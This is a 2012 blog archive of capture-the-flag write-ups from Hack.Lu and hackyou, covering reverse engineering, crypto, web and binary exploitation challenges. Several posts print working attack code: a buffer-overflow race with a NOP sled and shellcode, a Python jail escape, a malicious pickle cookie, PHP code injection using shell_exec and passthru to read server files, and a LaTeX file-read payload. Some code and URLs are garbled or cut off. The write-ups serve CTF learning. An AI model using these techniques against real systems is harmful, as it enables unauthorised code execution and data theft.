Wednesday, October 31, 2012

Hack.Lu CTF: Zombie AV

The objective of this challenge was to upload an ELF file with embedded code that would print out the key located in config.php.

The first step was to look at the source code provided in the zip file. Of particular interest are the scan.php and elfparsing.php.

In elfparsing.php looking at the code below, one can see that the file requirement is a 32bit elf file. (If confused look up ELF fileheaders).
if($magic_0==0x7f && $magic_1==0x45 && $magic_2==0x4C && $magic_3==0x46) {
 //echo 'magic found\n';
} else {
 return -1;

if($magic_4==0x01) {  
 //print '32bit not supported <br>';
 return 32;

if($magic_4==0x02) {
 //return 64;
 die('64bit not supported');

In scan.php the following code shows that for the uploaded file to get past the opcode md5 check it must have
b0 01 90 90 90 90 90 90 90 90 cd 80
as the starting 12 bytes of the main program.
 print "Entry Opcodes are: ".$opcodes;
 print "\n";
 print "Signature is: " . md5($opcodes);
 print "\n";

  * hint: zombie virus signature is
  * 8048340: b0 01                 mov    $0x1,%al
   * 8048342: 90                    nop
   * 8048343: 90                    nop
   * 8048344: 90                    nop
    * 8048345: 90                    nop
    * 8048346: 90                    nop
   * 8048347: 90                    nop
   * 8048348: 90                    nop
    * 8048349: 90                    nop
   * 804834a: cd 80                 int    $0x80

  *  secret zombie total signature engine is based on md5
 if (md5($opcodes) === 'cd53b957ec552afb39cba6daed7a9abc') {
  print "found zombie virus, trying to execute it\n";
The next step is creating an elf file to upload to the service, and the file you upload must be able to execute normally. This step must be done on a 32bit linux distribution. I made a c file that has a main function with system(“ cat config.php” ) as its only command. Once compiled I opened it up in Ida Pro Free edition.

Changing the size of a program will cause it to break because all of the relative references will be thrown off; however, conveniently there are a number of nop statements after call __libc_start_main. I opened the elf file up in a hex editor and copied 12 nop op codes and placed them at the start of the program (before the 31 ED). I then changed those 12 bytes to reflect the zombie virus signature. One more thing must be done to the program before it can be uploaded. The call __libc_start_main no longer refers to the same point in memory because it is a relative reference. Therefore its value must be decreased by the same amount of bytes that were moved. To accomplish this I changed E8 CB FF FF FF to E8 BF FF FF FF to reflect the change in address. Save the file and upload to the server.
analysing file 94b0f040323a591c3e3680246b7ce3ec
8048330: b0 01                 mov    $0x1,%al
 8048332: 90                    nop
 8048333: 90                    nop
 8048334: 90                    nop
 8048335: 90                    nop
 8048336: 90                    nop
 8048337: 90                    nop
 8048338: 90                    nop
 8048339: 90                    nop
 804833a: cd 80                 int    $0x80
 804833c: 31 ed                 xor    %ebp,%ebp
 804833e: 5e                    pop    %esi
 804833f: 89 e1                 mov    %esp,%ecx
 8048341: 83 e4 f0              and    $0xfffffff0,%esp
 8048344: 50                    push   %eax
 8048345: 54                    push   %esp
 8048346: 52                    push   %edx
 8048347: 68 00 84 04 08        push   $0x8048400
 804834c: 68 10 84 04 08        push   $
Entry Opcodes are: b0 01 90 90 90 90 90 90 90 90 cd 80 
Signature is: cd53b957ec552afb39cba6daed7a9abc
found zombie virus, trying to execute it


done we are safe

Flag =55c4080daefb5f794c3527101882b50b.

-- zlouity

Friday, October 26, 2012

Hack.Lu CTF: it's not scientific without LaTeX Writeup

The objective of this challenge was to leverage an embedded LaTeX previewer to access a local file.

Having very little experience with LaTeX, I googled around for a bit and stumbled on this paper: LaTeX Hacking

The paper describes how LaTeX previewers often make a system vulnerable because they are allowed to read and print local files as so (note the \hfill to make the line wrap):
     \read5 to\curline
     \ifeof5 \let\next=\relax
     \else \curline˜\\
\ifeof5 Couldn't read the file!%
\else \hfill \readfile \closein5
The font was fairly small, so I also included the following above the loop to make the flag readable:
Yay! The flag was embedded in the document now!

Flag = gtttatgtagcttaccccctcaaagcaatacactgaaaatgtttcgacgggtttacatcaccccataaacaaacaggtttggtcctagcctttctattag

-- d1r3w0lf

Thursday, October 25, 2012

Hack.Lu CTF: Big Zombie Business Writeup

This challenge was another password prompt protected by obfuscated javascript. Click the images for an enlarged version.

1. Entering the site, we see a lovely picture of Charlie Sheen and are prompted for another password:

2. Let's check the source:

3. Once again, that looks a little long and obscure for my taste so I ran it with JavaScript Deobfuscator. Looking around for a while, I finally stumbled on a function that looks helpful:

4. Lets plug these two lines into firebug's javascript console and get our flag.

-- d1r3w0lf

Hack.Lu CTF: Mini Zombie Business Writeup

This challenge was a password prompt protected by obfuscated javascript.

1. Entering the site, we see harmless little zombie. Clicking on him gives:

Looking at the source, we see:

Unescaping this string yields yet another eval(unescape) and so on and so forth. At this point, I turned to the firefox plugin “JavaScript Deobfuscator”.

3. After running the script again JavaScript Deobfuscator shows:

Flag: tasty_humans_all_day_erry_day

-- d1r3w0lf

Hack.Lu CTF: TUX BOMB Writeup

This challenge was a reverse engineering problem with the goal of inputting a correct user and product key. We are given an executable and we start going.

Running file, we get:     tux_bomb.exe: PE32 executable for MS Windows (console) Intel 80386

Next, lets run run it in windows and see what it wants:

It seems to be looking for a username and product key. On to Hexrays!

1. It reads in and stores Username and ProductKey

2. It loops through every character in the Username, multiplies the ascii value of that character by 3, and adds it to a continuous sum.

3. It creates a new value (which I have called modVal) that is equal to usernameSum % 667. It then compares this value to 666, and sets our result string to either “You are Admin!” or “You are not Admin!”.

a. Assuming that it's probably a good idea for us to be admin, we need to create a username string such that usernameSum % 667 = 666. I did this by hand. Realizing that each character is being multiplied by 3, the sum of all characters should be 222. Looking at an ascii chart, lowercase '0' = 111 in decimal, so we'll use 'username = oo'.

4. Next, it checks again to see if our modVal is 666 and also checks if argc = 23. From this code, we also see that the program copies each byte of the 18th argument and puts it into a separate buffer for later use...

5. It then compares that buffer (the 18th argument) to our product key. If they match, it yields a pdf file.

I'm sure the rest of the program is interesting, but this is where I stopped reading. Using these steps got me here:

6. Opening this pdf gives us:

Yay! Calculus!
Running a quick python script gives us x = 1165.
flux = 'Fluxfingers'
ans = 0
for i in xrange(len(flux)):
    ans += ord(flux[i])
print ans
Sage Math solved the integral to be 2
1165*2-993 = 1337 (fitting right?)
md5(1337) = FLAG = e48e13207341b6bffb7fb1622282247b

-- d1r3w0lf

Hack.Lu CTF: Get the Tank Writeup

Get the tank is a fun little binary exploitation and really just a simple buffer overflow. The functionality of the program generally follows below.
1. Make sure that there are two arguments
2. Create a random, 16 character session ID and put it in the file .sessionid
   2a. CLOSE THE FILE .sessionid <-- This is important
3. Compare the entered password to whatever is in the masterkey file
4. When we fail (and we want to fail)
   4a. Open the .sessionid file
   4b. Read up to 29 bytes into a buffer that is only 20 bytes large
So we have to somehow change the contents of the .sessionid file while the program is running. So we write a little C program which just writes as fast as it can to the file.

int main(int argc, char **argv) {
   FILE * file = fopen('.sessionid', 'a+');
   while (1) {
       fprintf(file, '%s', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
We have now established a race condition that will (hopefully) cause the file to load arbitrary things that we write in the file. So we fire up our program that we wrote and then run ./tank.
Segmentation Fault
Now we just need to run tank locally (because of seteuid) to figure out the offset where we can control the return address. By using gdb, we figure out that we need 36 bytes and then a return address. Our refined file write is
fprintf(file, '%s', 'bcdefgijklmnopqrstuvwxyzabcdefghijkl\x98\xd4\x9f\xff');
Luckily, the stack is executable (I'd suggest looking at if you don't already know about it), so we can put some shellcode after a big 'ol NOP sled in an environment variable.
export BOB=`python -c "print '\x90'*100000 + open('shellcode', 'rb').read()"`
After we've made this environment variable, we just have to run gdb and find an address in the stack where the environment variable might be. we put this as the address in the fprintf, start our filewriter, and start bruteforcing the stack address of our NOP sled.
while true; do ./tank 1234; sleep 0.25; done
After about 15 misses, we hit our NOP sled and dropped into a shell with privileges of tank. We cat /home/tank/masterkey and win! -- suntzu_II

Hack.Lu CTF: Nerd Safe House Writeup

Nerd Safe House was by far the simplest challenge in this competition. The page redirected you a few times and then settled on a page that said "Nothing to see here." All you needed to do was capture all of the responses in a program like BurpSuite and examine the html of each one. In one of the responses, there was a key hidden in an html comment.

-- suntzu_II

Hack.Lu CTF: Python Jail Writeup

This challenge was a jail written in python that eliminates a bunch of different functions from the __builtins__ dictionary, severely limiting the use of functions. The relevant portions of the server are shown below.
def make_secure():
        UNSAFE_BUILTINS = ['open',
                           'input'] ## block objet?
        for func in UNSAFE_BUILTINS:
                del __builtins__.__dict__[func]

from re import findall

print 'Go Ahead, Expoit me >;D'

while True:
        inp = findall('\S+', raw_input())[0]
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception as e:
        print 'Exception:', e
However, just deleting functions from the __builtins__ dictionary does not completely eliminate references to them. By traversing class and subclass trees, we eventually get a reference to 'file' because it is a subclass of the 'object' type. Below is a way of taking a list (with a single number in it) and getting a reference to the 'file' function (it is the 40th item in the list when I ran it).
(1337).__class__.__bases__[0].__subclasses__()[40] # This references the function 'file'
We can therefore open an arbitrary file and read the key now.
-- suntzu_II

Hack.Lu CTF: Zombie Reminder Writeup

This challenge was composed breaking a weak secret for a hashing algorithm followed up by creating a pickled object that would be loaded by the server and execute arbitrary code. The relevant portions of the server are shown below. The server basically stores pickled objects in a cookie by hashing them and comparing the hash to see if it is ok to load the pickled object.
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = pickle.loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): from hashlib import sha256 return sha256("%s%s" % (location, secret)).hexdigest() def init_secret(): from os import path import random, string if not path.exists('secret'): with open("secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5)) f.write(secret) with open("secret", "r") as f: return if __name__ == '__main__': cookie_secret = init_secret()
This shows that the key is generated at run-time and is never regenerated. Therefore, we can store something in the server and get a location/hash combination back, allowing us to brute-force the key (the keyspace is 62^5 ~ 900,000,000). A nice simple python script that finds the key is shown below.
from hashlib import sha256

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

location = '/var/www/flag.txt'

def getKey(init):
    count = 0
    for i in xrange(len(chars)):
        for j in xrange(len(chars)):
            for k in xrange(len(chars)):
                for l in xrange(len(chars)):
                    for m in xrange(len(chars)):
                        if count % 100000 == 0:
                            print "Have tried", count, "combinations"
                        count += 1
                        tmp = chars[i] + chars[j] + chars[k] + chars[l] + chars[m]
                        update = init.copy()
                        hashed = update.hexdigest()

                        if hashed = 'insertyourhashhere':
                            return tmp

init = sha256(location)

print getKey(init)
This returned the key of 'oIqxe' which we could then use to create our own cookies. At this point, we take advantage of the insecurities in Python's Pickle module and create a pickle object that will print out what is in /var/www/flag. The script below produces the cookie that wins.
import pickle, base64, subprocess

class PickleCommand(object):
    def __reduce__(self):
        return (subprocess.check_output, (('cat','/var/www/flag',),))

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)
def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()

todecode = base64.b64encode(pickle.dumps(PickleCommand()))
print todecode

secret = 'oIqxe'

print make_cookie(todecode, secret)
-- suntzu_II

Hack.Lu CTF: Spambot Writeup

This challenge give you a link to a place where you can enter a URL and the site will send a message to the URL you give it. The Spambot will then load the page, figure out what fields there are, and try to write data to the page. The Spambot will also solve simple spam protection (like math). This turns out to be the downfall of the Spambot.

Once we saw that it solves the math, we wondered how it did this. The easiest way for the server to do it would be to just call eval() on whatever is between the html tags. So we added something after the math in the spam protection field.
1+1+1;echo 'bob';
When we entered the URL of our hosted page, the Spambot executed our code and printed the result of 1+1+1 to the screen as well as the word bob. At this point, we know that we have arbitrary php code execution on the server, so we start doing directory listings. And eventually find an interesting file in the root directory. If you put the following line into the spam protection input field of your page and tell the Spambot to load the program, you win!
Spam protection: 1+1+1;$handle = opendir('/');while (false !== ($entry = readdir($handle))) {echo "$entry";echo shell_exec('cat /6f170bcecda1ca8d3a5435591202988881b34bad');}
-- suntzu_II

Hack.Lu 2012 CTF Writeups

The folks over at FluxFingers put on a fantastic (and very challenging) competition that ran over the last few days. Unfortunately, it happened during the school-week so our team only managed to find a few hours each day to work on the challenges so we didn't get to solve them all. We will, however, post writeups to those challenges we did solve over the next few days, so make sure to check back as those writeups come up. Below are links to problems that with writeups.
   2. Zombie AV
   5. TUX BOMB
   7. Python Jail
   9. Braincpy
   11. Hidden
   14. Safehouse
   15. Secure-Safehouse (solved just after the competition ended :( )
   16. It's not scientific without LaTeX
   18. Zombie Lockbox
   19. Zombie Reminder
   20. nerd safe house
   21. Get the Tank
   22. Mini Zombie Business
   23. Spambot
   26. Big Zombie Business

Hack.Lu CTF: Hidden Challenge Writeup

This hidden challenge was pretty cool. On the login page to, there was a script reference as shown below.
<script type="text/javascript" src=""></script>
This clearly does not work as a web browser can't figure out how to resolve the domain name. A quick nslookup, however, reveals that only has in IPv6 address - 2002:95:d:21:4a::1. This IPv6 address also does not respond to web traffic, which causes us to examine the construction of the IPv6 address.

The 2002 prefix belongs to the "6to4 addressing" IPv6 range of address, which means we can extract an IPv4 address from the IPv6 Address.
95:d:21:4a =, which is the IP Address of
So, we next tried to navigate to, but it gives us a file not found error. We fumbled around for a bit here before we decided that was actually important so we changed the HOST header of our HTTP request as it was outbound to be instead of 149.13.333.74 and we got back a result with just one thing on it: IcanSmellBigBrainsARRRRR. -- suntzu_II

Thursday, October 18, 2012

hackyou CTF Writeups

Leet More was kind enough to host a CTF that ran over a large enough time frame to allow those of us in school to take our time with the competition. The competition ran from 8 October to 18 October and spanned a variety of topics including PPC (tasks that require programming), Steg (tasks that have some secret info embedded in a pile of crap and require steganalysis), Crypto (tasks that involve dealing with cryptoalgorithms and ciphertexts), Web (tasks that have to do with web technologies and site hacking), Reversing (tasks that feature a binary that needs to be examined and analyzed), and Network/Packets (tasks that require knowledge of network protocols, sniffing etc.) Below are a set of links to writeups for various challenges. I believe that I had a unique approach to several of the problems and I would be interested to see how other people did it. Feel free to leave comments with how you solved the challenge!






Wednesday, October 17, 2012

hackyou CTF: Web 200

This problem had everything to do with variable types (which are evil). It turns out the foreach does nothing if the variable type is not an array, which means we completely bypass the mysql_real_escape_string in the foreach loop and we can SQL inject the field (we still have to escape out of the serialize, but that is just a few more quotes. Just another SQL injection exercise where too many people were trying to modify the same database at the same time..........

-- suntzu_II

hackyou CTF: Crypto 300

This was a fun network crypto challenge. The server is shown below.
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import os, sys, re
from socket import *

PORT = 7777 or int(sys.argv[1])
KEY = open("_flag.txt").read()

SBOX = list(range(128))
SALTED_SBOX = list(range(128))

# ----------------------------------------------------------------
# ----------------------------------------------------------------
def main():
    add_key(SALTED_SBOX, KEY)

def serve():
    f = socket(AF_INET, SOCK_DGRAM)
    f.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    f.bind(("", PORT))

    print "[*] Server started on %d" % PORT
    while True:
        data, addr = f.recvfrom(4096)
        client(data, addr, f)

def client(data, addr, f):
    print "[.] GOT", repr(data), "FROM", addr

    if len(data) % 2 or len(data) > 64:

    for ch in data:
        if ord(ch) >= 128:

    mid = len(data) >> 1
    k = data[:mid].rstrip("\x00")
    m = data[mid:].rstrip("\x00")

    c = encrypt(SALTED_SBOX, k, m)
    f.sendto(c.encode("hex"), addr)
    print "[+] RESULT SENT", addr, "\n"

# ----------------------------------------------------------------
# ----------------------------------------------------------------
def encrypt(sbox, k, m):
    sbox = sbox[::]
    add_key(sbox, k)

    c = ""
    for ch in m:
        c += chr(sbox[ord(ch)])
        sbox = combine(sbox, sbox)
    return c

def add_key(sbox, k):
    for i, c in enumerate(k):
 print i, sbox[ord(c)], ord(c)
        sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
        for i in xrange(len(sbox)):
            sbox[i] = (sbox[i] + 1) % 128

def combine(a, b):
    ret = [-1] * len(b)
    for i in range(len(b)):
        ret[i] = a[b[i]]
    return tuple(ret)

if __name__ == "__main__":
The big weakness in this crypto was the fact that we can steal the SALTED_SBOX by sending special packets to the server. My script to steal the sbox is shown below.
from socket import *
import binascii

 # Create a list of numbers so I can figure out which one I didn't download
nums = list(range(128))
SALT = list()

# This iterates through all possible spots of the SBOX
for i in range(1,128):
 print i
 # Create a string that looks like \x00\x01
 send = '\x00' + binascii.unhexlify(hex(i)[2:].zfill(2))
 s = socket(AF_INET, SOCK_DGRAM)
 # You actually run this against their server intially
 s.connect(('localhost', 7777))
 sbox = int(s.recv(1024), 16)

SALT.insert(0, nums[0])
length = SALT[-1]

flag = ''
for i in range(0, length):
 val = (SALT[i]-(length+1))%128
 flag += chr(val)
print flag

for i in range(128):
 SALT[i] = (SALT[i] - (length+1))%128

hexSALT = []
for i in SALT:

print hexSALT

### Everything below this line was added merely so I could easily see the
### Salted SBOX of the server after I had downloaded it.
print ['3c', '69', '73', '60', '74', '68', '31', '02', '03', '6b', '33', '79', '08', '6c', '30', '6e', '39', '0c', '65', '0f', '0e', '75', '67', '05', '3f', '3e', '1a', '1b', '1c', '1d', '1e', '1f', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '2a', '2b', '2c', '2d', '2e', '2f', '14', '06', '32', '0a', '34', '35', '36', '37', '38', '10', '3a', '3b', '00', '3d', '19', '18', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4a', '4b', '4c', '4d', '4e', '4f', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '5a', '5b', '5c', '5d', '5e', '5f', '11', '61', '62', '63', '64', '12', '66', '16', '17', '01', '6a', '09', '0d', '6d', '13', '6f', '70', '71', '72', '07', '04', '15', '76', '77', '78', '0b', '7a', '7b', '7c', '7d', '7e', '7f']
The server's stolen sbox is at the bottom of the script and (if there are no duplicate chars) then the key used to salt the sbox is at the beginning of the array where each value subtracts the final value in the array mod 128 (ie. 3c-7f % 128). So now, instead of running against their server, I ran a local one with the key that I knew up to that point (the first few characters were legible) and slowly changed the _flag.txt until the sboxs matched. So all I did was download there sbox and then create a string that resulted in their sbox, which was the flag - .

-- suntzu_II

hackyou CTF: Networking 300

This one was a bit harder than the other two networking challenges purely because it had no directions. I got the pcap file from the tinyurl link in the 100 level challenge and started examining the file. There are TONS of files to mess with, so I ran NetworkMiner on the pcap and got all sorts of data out of it. The interesting one, however, was ctf.exe.

After some examination of the disassembly, I determined that this was a symmetric key encryption algorithm in which the message was just XORed with the key. The key was constructed by XORing 8 bytes that the server sends at the beginning of the interaction with the string "_hackme_". This creates an 8 byte key which we XOR in a vigenere type encryption along the length of the string we want to send. The request we want to send is 'FlagRequest:omkesey' concatenated with 4 bytes that the server sends, a null byte, and an underscore (the beginning of _hackme_ which is next on the stack). Once we encrypt it, we send it to the server and receive 50 bytes. We then decrypt the flag in the same fashion as we encrypted our request and out pops the answer - "Hire_m3_mister_U". The script below implements the functionality of ctf.exe.
import socket
s = socket.socket()
data = s.recv(17)
key = s.recv(8)
linefeed = s.recv(2)
extra = s.recv(4)

hack = '_hackme_'
# These lines create the xor key for later use
newkey = ''
for i in range(len(key)):
        newkey += chr(ord(key[i]) ^ ord(hack[i]))

# This is the string we will encrypt
request = 'FlagRequest:omkesey'+extra+'\x00_'
# And now we encrypt it
answer = ''
for i in range(len(request)):
        answer += chr(ord(request[i]) ^ ord(newkey[i%8]))
answer += 'hackme_'
# Send the encrypted string

# Receive the response (this is encrypted)
ans = s.recv(50)
# Decrypt this with the same key we encrypted with
newans = ''
for i in range(0, len(ans)):
        newans += chr(ord(newkey[i%8]) ^ ord(ans[i]))
# Print the winning key
print newans
-- suntzu_II

hackyou CTF: Web 300

I'm very confident that I did not solve this in the manner I was supposed to do. Because I did not solve it how it was intended, I believe I made it more complicated than necessary, but in the end I believe it was a very cool solution.

The website is a random number generator and from reading the source code we know two things: they give you some nasty, nasty source code for the site and we want to access flag.txt.gz but can't. The source is posted below.
<?${b("ee3ab0f9421ce0feabb4676542993ab3")}=b("9a8890a6434cd24e876d687bcaf63b40218f525c");${b("a7d2546914126ca18ca52e3205950070")}=b("c74b0811f86043e9aba0c1d249633993");${b("116fe81df7d030c1e875745f97f9f138")}=b("6da187003b534e740a777e");${b("a3bfe0d3698e1310cce7588fbab15dbe")}=b("f19e6937d9080f346a01");${b("39ebc7035a36015274fdb7bf7c1b661e")}=b("336f2f8b0f837cf318");${b("66711d77210b4193e5539696d4337127")}=b("283101ccbc823b56");${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));if(${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"),${b("eb717d90b3287b1fbd")})){${b("532194e0380d7a29761eb0b215b4168d")}=${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];${b("f877261be92e25500a601f21ab4cfa84")}=${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];${b("dbcffbbeb2632a6e6c6f84ac52064768")}=b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");if(${b("2e272b48041e04ef643cc8624445f2a0")}!=${b("6a24556aba8e247fa9d27de3bed53586")})${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));else${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"),${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"),${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}),${b("532194e0380d7a29761eb0b215b4168d")}));}else{foreach(${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"),b("94a8be1778"))as$_)${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}().b("f975de3ba2"));}${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));function b($b){return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ^®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);} ?>
I had NO clue how to decode this source code or even how it runs on the server (please comment if you know how). What I did see, however, was a POST parameter called rng_algorithm=a long string of numbers. This, when decoded to ASCII, yielded "ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))." WE CAN CHANGE THE ALGORITHM!!! HOORAY!

Wuut? Hacker detected!

The website returned this at one point, so we can kind of change the algorithm. But what can we change it to? After much manual fuzzing of this algorithm, I determined that the algorithm must begin with "ShA1(dATe(" (camelcase matters), it must have the same length, and it must only contain letters that can be represented in hex with decimal numbers only (0x0a would not work but 0x09 would). This unfortunately eliminates so many useful characters that I spent the next few hours trying to craft an algorithm that would actually work and get me somewhere. At some point, I was eventually able to run the following algorithm.
This returned my current working directory! We are getting somewhere! After about another 30 minutes of trying to figure out how to read the file, I ran the following algorithm.
ShA1(dATe($0))&(@passthru('cat `dir`')%'11111111111111111111')
This was a bad way to try get a gz file though (copy and paste is unreliable at best) so I decided to run it through curl and output it to a file.
curl --data "rng_seeds=280527088%0D%0A1067734584%0D%0A2024574801%0D%0A11326050%0D%0A1199766137%0D%0A&rng_algorithm=5368413128644154652824302929262840706173737468727528276361742060646972602729252731313131313131313131313131313131313131312729" > flag.txt.gz
This did present some issues with there being extra data because of the other files in the directory, but it wasn't difficult to find the start and end of files with a little magic header research. I gunzipped the file only to find a ridiculously long base64 encoded string which, of course, was base64 encoded 42 times (I found that number with a variant of the below script). The script below decoded the flag and got the answer "flag: 36e03906042b7b266afa32bd1ea35445".
import base64

text = open('response.txt', 'r').read()
for i in range(42):
        text = base64.b64decode(text)

print text
So. In summary, I made this much more difficult than I think it was supposed to be, but I think it was a cool solution regardless.

-- suntzu_II

hackyou CTF: Networking 100

They give you a pcap file (Download Here) and tell you to "Find the secret link in this conversation." I opened this in Wireshark and followed what appeared to be some sort or IRC conversation. In 4, I found the following message.

The key was, which was also where you were supposed to download the network 300 challenge.
-- suntzu_II

hackyou CTF: Networking 200

This problem was rather trivial. Open the pcap file with Wireshark. Find the packet that says "FTP Data: 1448 bytes." Right-click -> Follow TCP Stream. Click "Save As" and save the file. Run md5sum on the file. The answer is 77f92edb199815b17e2ff8da36e200df.

-- suntzu_II

hackyou CTF: Reversing 300

This challenge was significantly more complicated than the other two reversing challenges. The first thing we needed to do was unpack the executable, but UPX didn't recognize it. UPX didn't recognize it because somebody changed all references in the executable from UPX to LOL. Once I changed this back, I could run upx -d on the program and unpack it.

At this point I started to examine what the program was actually doing. When I ran it, I saw that it wanted a user and a key, so I needed to figure out how to generate a key for a user. So I fired up IDA and got cracking with the disassembly. There are several pieces of information of interest that are readily apparent, namely that the username can't be hackyou and that the key takes the form xxxx-xxxx-xxxx. After further examination, I found the spot where the program is comparing the characters that generate from my username and what I entered, so I put the address (there are actually 3 addresses, one for each part) as a breakpoint in gdb and ran the program. The three breakpoints are 0804842B, 080484EA, and 080485A9. A screenshot of the IDA disassembly is shown below.

When I set the breakpoint at the address in the above picture, all I had to run was 'info registers' in gdb and the expected value was in eax. So I built a key one character at a time until I had the user/key combination of h4ckyou/jzwd-f6x4-s0ao. Unfortunately at this point, it said "Great! Now submit the license key for 'hackyou.' The easiest way to do it is find all of the strings in the binary that are the string hackyou to something like hackyoo (I suggest using bvi which is like vi but for editing hex). After this, we repeat the process with the username hackyou and get the key kecc-hack-yo0u.

-- suntzu_II

hackyou CTF: Reversing 200

This challenge presents you with a random number guesser where the user has to guess a randomly generated number. The good thing about this is that it does not use what we enter to generate the key. The relevant assembly is shown below.

The easy way to do this is to switch the comparison to something simpler.
cmp     eax, ecx
cmp     eax, eax
This changes the hexidecimal from 39 C8 to 39 C0 (Intel x86 opcode). A screenshot of the hex that we are looking to change is shown below.

When the C8 is changed to a C0, the program thinks that we win always and it spits out the key, oh_you_cheat3r.

-- suntzu_II

hackyou CTF: Reversing 100

This reversing problem was pretty trivial. They give you source code and all you have to do is get past the if statements. The code is shown below.

int main(int argc, char *argv[]) {
    if (argc != 4) {

    unsigned int first = atoi(argv[1]);
    if (first != 0xcafe) {
    	printf("you are wrong, sorry.\n");

    unsigned int second = atoi(argv[2]);
    if (second % 5 == 3 || second % 17 != 8) {
    	printf("ha, you won't get it!\n");

    if (strcmp("h4cky0u", argv[3])) {
    	printf("so close, dude!\n");

    printf("Brr wrrr grr\n");

    unsigned int hash = first * 31337 + (second % 17) * 11 + strlen(argv[3]) - 1615810207;

    printf("Get your key: ");
    printf("%x\n", hash);
    return 0;
The winning execution is
./rev100 51966 25 h4cky0u
   Brr wrrr grr
   Get your key: c0ffee
-- suntzu_II

hackyou CTF: Steg 300

This challenge was extremely frustrating. The picture is shown below.

I literally spent days staring at this picture zoomed in all close trying to match up fonts and pixels to try to get the key that was half overwritten. I didn't actually solve the problem until they released the following hint.
"Lucy in the Sky with Balls"
The three letters that are bolded are LSB (Least significant bit) at which point I wrote a quick little python script which converted the LSBs of every pixel into binary which I converted to ASCII. The script is shown below.
from PIL import Image

# Open the image in read mode
im ='stg300.png', 'r')
# pixels is an object which allows access to
# individual pixels
pixels = im.load()
# Get the size of the picture
width, height = im.size

binary_ans = ''
